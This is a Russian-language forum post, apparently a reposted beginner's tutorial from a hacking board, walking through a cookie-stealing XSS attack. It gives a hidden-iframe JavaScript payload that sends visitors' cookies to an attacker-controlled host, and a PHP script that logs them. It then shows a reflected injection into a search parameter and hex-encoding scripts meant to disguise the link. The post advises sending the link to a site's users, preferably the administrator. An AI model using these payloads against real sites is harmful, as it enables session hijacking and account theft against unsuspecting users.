Компьютерный форум NoWa.cc

Компьютерный форум NoWa.cc (https://nowa.cc/index.php)
-   Статьи (https://nowa.cc/forumdisplay.php?f=215)
-   -   XSS - введение , статья для начинающих. (https://nowa.cc/showthread.php?t=109590)

WeNZeeR 19.07.2007 12:31

XSS, - введение, статья для начинающих by Jenizix
 
Автор: Jenizix, WHB (Web-Hack Board)

Ну найти в интернете описание XSS-бага я думаю труда не составит...
Перейдем сразу к использованию:

-= 3-2-1 go! =-
Сначала зарегистрируем ( или возьмем имеющийся ) домен с хостингом ( пофиг какого уровня =)))) ) с поддержкой PHP...
допустим мы зарегили xss.host.ru...

Создадим файл xss.js с таким содержимым:
Код:

document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://xss.host.ru/xss.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');

Этот JavаScript будет открывать невидимый iframe на странице, в котором будет гризиться наш скрипт принимающий куки... + ему будет передаваться имя сайта откуда куки были стырены.
Я выбрал тег <iframe> т.к. у некоторых отключен показ рисунков => тег <img> не прокатит... да и попапы могут резаться...

Теперь создадим файл xss.php:
Код:

<?
$file = fopen("cookies","a");
fputs($file,"[".date("d.m.y H:i")."]".$QUERY_STRING."\r\n");
fclose($file);
?>

Этот скрипт будет записывать дату и полученое "печенье" в файл cookies

Закинем оба файла в веб-директорию нашего сайта... ну вощем чтоб они были доступны как
Цитата:

_http://xss.host.ru/xss.js
и
Цитата:

_http://xss.host.ru/xss.php
-= Боевые действия =-
Ну теперь найдем бажный сайт с XSS уязвимостью. Допустим уязвимость будет тут:
Цитата:

_http://site.ru/find.php?find=[xss]
ок. уязвимость есть. пошлем скрипту find.php
запрос типа
Код:

find.php?find=<script src=http://xss.host.ru/xss.js></script>
и затем открываем
Цитата:

_http://xss.host.ru/cookies
и видим стырены куки! =)))

-= Шифруемся =-

НО! В открытую этот линк кидать не стоит... палевно... сделаем так, напишем php-скрипт для кодировки символов в hex и для разкодировки из hex:

hex.php:
Код:

<?
$str = urldecode($_SERVER['QUERY_STRING']);
for($i=0;$i<strlen($str);$i++) {
$hex=dechex(ord($str[$i]));
if($str[$i]=='&')
          echo "$str[$i]";
        else
          echo "%$hex";
}
?>

ну и unhex.php:
Код:

<?
echo urldecode($_SERVER['QUERY_STRING']);
?>


например нам нужно чтобы юзер прошелся по этой ссылке:
Цитата:

_http://site.ru/find.php?find=<script src=http://xss.host.ru/xss.js></script>
но как я уже говорил, в открытую ее ему кидать - палевно... заюзаем наш hex.php:
Цитата:

_http://xss.host.ru/hex.php?<script src=http://xss.host.ru/xss.js></script>
Получим вот что:
Цитата:

%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3 a%2f%2f%78%73%73%2e
%68%6f%73%74%2e%72%75%2f%78%73%73%2e%6a%73%3e%3c%2 f%73%63%72%69%70%74
%3e

это hex представление текста: <script src=http://xss.host.ru/xss.js></script>

Теперь наша ссылка будет выглядеть вот так:
Цитата:

http://site.ru/find.php?find=%3c%73%...2f%78%73%73%2e
%68%6f%73%74%2e%72%75%2f%78%73%73%2e%6a%73%3e%3c%2 f%73%63%72%69%70%74
%3e

Как видите, не очень и палиться =)))

Теперь осталось скинуть этот линк какомунибудь юзеру ( а лучше админу ) сайта site.ru и ждать его куков ( если конечно они там юзаются )...
Куки могут быть в hex-виде... тут нам придет на помощ unhex.php:
Цитата:

_http://xss.host.ru/unhex.php?[тут_куки]
-= Подводим итоги =-
Теперь у нас есть полноценные скрипты для проведения XSS-атаки.
Еще можно наш xss.js прогнать через hex.php чтоб еще побольше обезопаситься )))


Текущее время: 18:09. Часовой пояс GMT +3.

Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2026, vBulletin Solutions, Inc. Перевод: zCarot
Copyright ©2004 - 2026 NoWa.cc

Время генерации страницы 0.01971 секунды с 9 запросами